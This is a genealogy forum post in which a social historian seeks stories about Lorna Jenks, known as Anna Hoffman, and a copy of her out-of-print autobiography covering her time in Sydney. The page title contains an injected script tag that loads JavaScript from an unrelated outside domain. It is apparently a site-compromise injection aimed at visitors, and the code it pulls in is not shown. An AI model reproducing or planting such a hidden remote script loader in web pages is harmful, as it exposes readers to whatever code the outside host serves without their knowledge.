Seeking Information on Lorna Jenks known as Anna Hoffman<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
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Seeking Information on Lorna Jenks known as Anna Hoffman

Journal by darianzam

Update: This enquiry has been resolved.

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Lona Jenks, 1938-2014, restyled herself as Anna Karina Hoffman, and crossed the ditch to Sydney to go adventuring.

Hoffman was notorious in both Sydney and Auckland where she claimed to be a witch, amongst other things. She was labelled as a 'great eccentric' and often as a 'femme fatale.' The former is pretty much the real deal, but the latter was probably not (she was often quoted as saying her reputation in this respect was 'over-rated'). There's no doubt she was a character who reveled in her own antics and the minor celebrity that came with it - just letting weeds of stories grow up around her.

She had several run-ins with the law on both sides of the ditch which were liberally showcased in papers of the time like the Truth whose stock-in-trade was the titillating and scandalous. She released her life story in three parts, which are now all out of stock and near impossible to get.
It's the second installment I am after which possibly details her antics in Sydney including her alleged dalliance with Bumper Farrell in which she's said to have given him drug-laced chocolates and recorded the whole thing, in order to blackmail him. This was apparently followed by a swift deportation.
At this point in time I am now pretty sure that this was almost complete fiction but Hoffman was a master fable weaver, when it came to herself. I think it's clear she just really loved publicity and happened to be really talented at it!

I'm seeking information and/or a copy of one of Hoffman's autobiographies particularly the one that outlines her time in Australia. If you have the book, or you once knew Anna and have some stories to share, please let me know. I'm hoping to write a story on her life and times in Kings Cross for an upcoming publication.

Surnames: HOFFMAN HOFFMANN JANK JENK JENKS
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by darianzam Profile | Research | Contact | Subscribe | Block this user
on 2017-04-10 05:59:22

Social historian, writer, artist.

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